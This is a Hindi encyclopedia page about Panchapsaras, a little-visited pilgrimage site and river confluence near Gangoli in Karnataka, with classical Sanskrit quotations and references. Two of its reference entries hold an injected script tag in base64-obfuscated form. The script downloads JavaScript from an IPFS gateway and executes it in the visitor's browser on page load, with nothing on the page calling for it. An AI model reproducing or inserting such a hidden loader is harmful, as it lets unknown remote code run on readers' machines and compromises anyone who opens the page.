पंचाप्सरस

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

पंचाप्सरस दक्षिण भारत के कर्नाटक राज्य में स्थित हिंदुओं का तीर्थ स्थल है। कुन्दापुर से बस द्वारा गंगोली बाज़ार आना चाहिए। गंगोली का अर्थ गंगावली- कई नदियों का संगम है। यह पुराण प्रसिद्ध पंचाप्सरस तीर्थ है; किंतु अब लुप्त प्राय है। केवल पास के लोग श्राद्ध करने यहाँ आते हैं। यहाँ कोई मंदिर नहीं है[1]

पंचाप्सरस का उल्लेख मंडकर्णि (या मंदकर्णि) मुनि के आश्रम के रूप में वाल्मीकि ने किया है-

'तत: कर्तुतपोविघ्नं सर्वदवैर्नियोजित: प्रधानाप्सरस: पंचविद्युच्यलितवर्चस:, इदं पंचाप्सरो नाम तड़ागं सार्वकालिक निर्मितंतपसा तेन मुनिना मंदिकर्णिना'।

'एतन् मुने मानिनिशातकर्णि पंचाप्सरो नाम विहारिवारि, आभाति पर्यंतनं विदुरान्मेघांतरालक्ष्य मिवेंदुबिंबम्'।

  • स्थानीय किंवदंती के अनुसार मैसूर राज्य में स्थित गंगावती या गंगोली का अभिज्ञान पंचाप्सरस से किया जाता है।
  • पंचाप्सरस पाँच नदियों का संगम स्थल है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 516 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. हिन्दूओं के तीर्थ स्थान |लेखक: सुदर्शन सिंह 'चक्र' |पृष्ठ संख्या: 174 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. रघुवंश 13, 38

संबंधित लेख